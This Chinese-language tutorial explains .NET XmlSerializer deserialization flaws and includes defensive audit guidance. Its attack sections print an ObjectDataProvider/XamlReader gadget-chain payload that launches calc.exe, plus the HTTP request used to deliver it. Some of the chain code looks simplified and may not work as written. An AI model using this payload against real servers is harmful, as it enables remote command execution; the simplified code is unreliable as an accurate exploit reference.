.NET高级代码审计(第一课)XmlSerializer反序列漏洞
字数 1454 2025-08-26 22:11:28

.NET XmlSerializer反序列化漏洞深入分析与利用

0x00 前言

XmlSerializer是.NET框架中System.Xml.Serialization命名空间下的一个重要类,用于将高度结构化的XML数据映射为.NET对象。本文将深入分析XmlSerializer反序列化漏洞的原理、攻击链构建及实际利用方法。

0x01 XmlSerializer序列化机制

XmlSerializer类通过以下两个核心方法实现对象与XML之间的转换:

  • Serialize() - 从对象实例生成XML
  • Deserialize() - 将XML文档解析成对象图

序列化特性

XmlSerializer使用特性(Attributes)控制序列化行为:

  • [XmlElement] - 指定属性序列化为元素
  • [XmlAttribute] - 指定属性序列化为特性
  • [XmlRoot] - 指定类序列化为根元素

序列化示例

[XmlRoot("TestClass")]
public class TestClass
{
    [XmlAttribute("ClassName")]
    public string Name { get; set; }
    
    [XmlElement("StudentName")]
    public string Student { get; set; }
}

// 序列化示例
TestClass obj = new TestClass { Name = "ClassA", Student = "Alice" };
XmlSerializer serializer = new XmlSerializer(typeof(TestClass));
using (TextWriter writer = new StreamWriter("data.xml"))
{
    serializer.Serialize(writer, obj);
}

生成的XML文件:

<TestClass ClassName="ClassA">
    <StudentName>Alice</StudentName>
</TestClass>

0x02 XmlSerializer反序列化漏洞原理

反序列化过程的关键在于XmlSerializer构造方法中传入的Type参数。获取Type对象有三种方式:

1. typeof运算符

Type type = typeof(TestClass);
XmlSerializer serializer = new XmlSerializer(type);

2. GetType方法

TestClass obj = new TestClass();
Type type = obj.GetType();
XmlSerializer serializer = new XmlSerializer(type);

3. Type.GetType静态方法(漏洞关键点)

string typeName = "Namespace.TestClass";
Type type = Type.GetType(typeName);  // 污染点
XmlSerializer serializer = new XmlSerializer(type);

Type.GetType的参数来自不可信输入时,攻击者可以控制反序列化的类型,从而构造恶意对象。

0x03 攻击链构建

完整的攻击链需要结合多个.NET特性:

3.1 ObjectDataProvider类

位于System.Windows.Data命名空间,可以调用任意被引用类中的方法:

  • ObjectInstance - 要实例化的类
  • MethodName - 要调用的方法名
  • MethodParameters - 方法参数
public class TestClass
{
    public void ClassMethod(string cmd)
    {
        System.Diagnostics.Process.Start(cmd);
    }
}

// 攻击代码
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new TestClass();
provider.MethodName = "ClassMethod";
provider.MethodParameters.Add("calc.exe");

3.2 ResourceDictionary与XAML

ResourceDictionary用于在WPF/UWP中共享静态资源,结合XAML可实现攻击:

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
                   xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                   xmlns:System="clr-namespace:System;assembly=mscorlib"
                   xmlns:Runtime="clr-namespace:System.Diagnostics;assembly=System">
    
    <ObjectDataProvider x:Key="LaunchCalc" 
                       ObjectType="{x:Type Runtime:Process}" 
                       MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <System:String>calc.exe</System:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

3.3 XamlReader类

位于System.Windows.Markup命名空间,用于解析XAML:

string maliciousXaml = "..."; // 上面的XAML内容
var obj = XamlReader.Parse(maliciousXaml);

完整攻击链

结合上述组件构建最终攻击链:

// 1. 构造恶意XAML
string xamlPayload = @"<ResourceDictionary...>...</ResourceDictionary>";

// 2. 使用ObjectDataProvider包装XamlReader.Parse调用
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new XamlReader();
provider.MethodName = "Parse";
provider.MethodParameters.Add(xamlPayload);

// 3. 序列化攻击对象
XmlSerializer serializer = new XmlSerializer(provider.GetType());
using (StringWriter writer = new StringWriter())
{
    serializer.Serialize(writer, provider);
    string maliciousXml = writer.ToString();
}

// 4. 当恶意XML被反序列化时触发命令执行

0x04 代码审计要点

审计时需要关注以下关键点:

  1. Type.GetType调用

    string typeName = GetFromUserInput(); // 污染源
    Type type = Type.GetType(typeName);   // 危险调用
    
  2. XmlSerializer构造

    // 危险构造方式
    XmlSerializer serializer = new XmlSerializer(Type.GetType(userControlledString));
    
  3. 反序列化调用

    // 危险反序列化
    object obj = serializer.Deserialize(xmlReader);
    

典型漏洞代码模式:

// 从XML读取type属性
XmlDocument doc = new XmlDocument();
doc.Load(xmlStream);
string typeName = doc.SelectSingleNode("//Item/@type").Value;

// 危险操作
Type type = Type.GetType(typeName);
XmlSerializer serializer = new XmlSerializer(type);
object obj = serializer.Deserialize(new XmlTextReader(xmlStream));

0x05 漏洞利用实战

复现环境搭建

  1. 创建ASP.NET Web应用
  2. 添加接收XML输入的端点
  3. 实现不安全的反序列化逻辑

攻击步骤

  1. 构造恶意XML:

    <root type="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
        <ObjectInstance xsi:type="XamlReader" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
        <MethodName>Parse</MethodName>
        <MethodParameters>
            <anyType xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
                <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
                                   xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                                   xmlns:System="clr-namespace:System;assembly=mscorlib"
                                   xmlns:Runtime="clr-namespace:System.Diagnostics;assembly=System">
                    <ObjectDataProvider x:Key="LaunchCalc" ObjectType="{x:Type Runtime:Process}" MethodName="Start">
                        <ObjectDataProvider.MethodParameters>
                            <System:String>calc.exe</System:String>
                        </ObjectDataProvider.MethodParameters>
                    </ObjectDataProvider>
                </ResourceDictionary>
            </anyType>
        </MethodParameters>
    </root>
    
  2. 发送恶意请求:

    POST /vulnerableEndpoint HTTP/1.1
    Content-Type: application/xml
    
    <!-- 上面构造的XML -->
    
  3. 服务器反序列化时触发命令执行(弹出计算器)

0x06 防御措施

  1. 输入验证

    • 严格校验Type.GetType的输入
    • 使用白名单限制可反序列化的类型
  2. 安全配置

    // 使用安全的XmlSerializer构造方式
    XmlSerializer serializer = new XmlSerializer(typeof(KnownSafeType));
    
  3. 替代方案

    • 使用DataContractSerializer并严格配置KnownTypes
    • 使用JSON序列化替代XML序列化
  4. 代码审计

    • 检查所有Type.GetType调用点
    • 检查XmlSerializer构造时的Type参数来源

0x07 总结

XmlSerializer反序列化漏洞的核心在于:

  1. Type.GetType接收不可信输入
  2. 结合ObjectDataProvider、XAML和XamlReader构建攻击链
  3. 最终实现任意命令执行

开发人员应避免直接使用用户输入构造Type对象,安全团队应重点审计代码中的相关模式。

.NET XmlSerializer反序列化漏洞深入分析与利用 0x00 前言 XmlSerializer是.NET框架中System.Xml.Serialization命名空间下的一个重要类,用于将高度结构化的XML数据映射为.NET对象。本文将深入分析XmlSerializer反序列化漏洞的原理、攻击链构建及实际利用方法。 0x01 XmlSerializer序列化机制 XmlSerializer类通过以下两个核心方法实现对象与XML之间的转换: Serialize() - 从对象实例生成XML Deserialize() - 将XML文档解析成对象图 序列化特性 XmlSerializer使用特性(Attributes)控制序列化行为: [XmlElement] - 指定属性序列化为元素 [XmlAttribute] - 指定属性序列化为特性 [XmlRoot] - 指定类序列化为根元素 序列化示例 生成的XML文件: 0x02 XmlSerializer反序列化漏洞原理 反序列化过程的关键在于 XmlSerializer 构造方法中传入的 Type 参数。获取Type对象有三种方式: 1. typeof运算符 2. GetType方法 3. Type.GetType静态方法(漏洞关键点) 当 Type.GetType 的参数来自不可信输入时,攻击者可以控制反序列化的类型,从而构造恶意对象。 0x03 攻击链构建 完整的攻击链需要结合多个.NET特性: 3.1 ObjectDataProvider类 位于 System.Windows.Data 命名空间,可以调用任意被引用类中的方法: ObjectInstance - 要实例化的类 MethodName - 要调用的方法名 MethodParameters - 方法参数 3.2 ResourceDictionary与XAML ResourceDictionary用于在WPF/UWP中共享静态资源,结合XAML可实现攻击: 3.3 XamlReader类 位于 System.Windows.Markup 命名空间,用于解析XAML: 完整攻击链 结合上述组件构建最终攻击链: 0x04 代码审计要点 审计时需要关注以下关键点: Type.GetType调用 : XmlSerializer构造 : 反序列化调用 : 典型漏洞代码模式: 0x05 漏洞利用实战 复现环境搭建 创建ASP.NET Web应用 添加接收XML输入的端点 实现不安全的反序列化逻辑 攻击步骤 构造恶意XML: 发送恶意请求: 服务器反序列化时触发命令执行(弹出计算器) 0x06 防御措施 输入验证 : 严格校验Type.GetType的输入 使用白名单限制可反序列化的类型 安全配置 : 替代方案 : 使用DataContractSerializer并严格配置KnownTypes 使用JSON序列化替代XML序列化 代码审计 : 检查所有Type.GetType调用点 检查XmlSerializer构造时的Type参数来源 0x07 总结 XmlSerializer反序列化漏洞的核心在于: Type.GetType接收不可信输入 结合ObjectDataProvider、XAML和XamlReader构建攻击链 最终实现任意命令执行 开发人员应避免直接使用用户输入构造Type对象,安全团队应重点审计代码中的相关模式。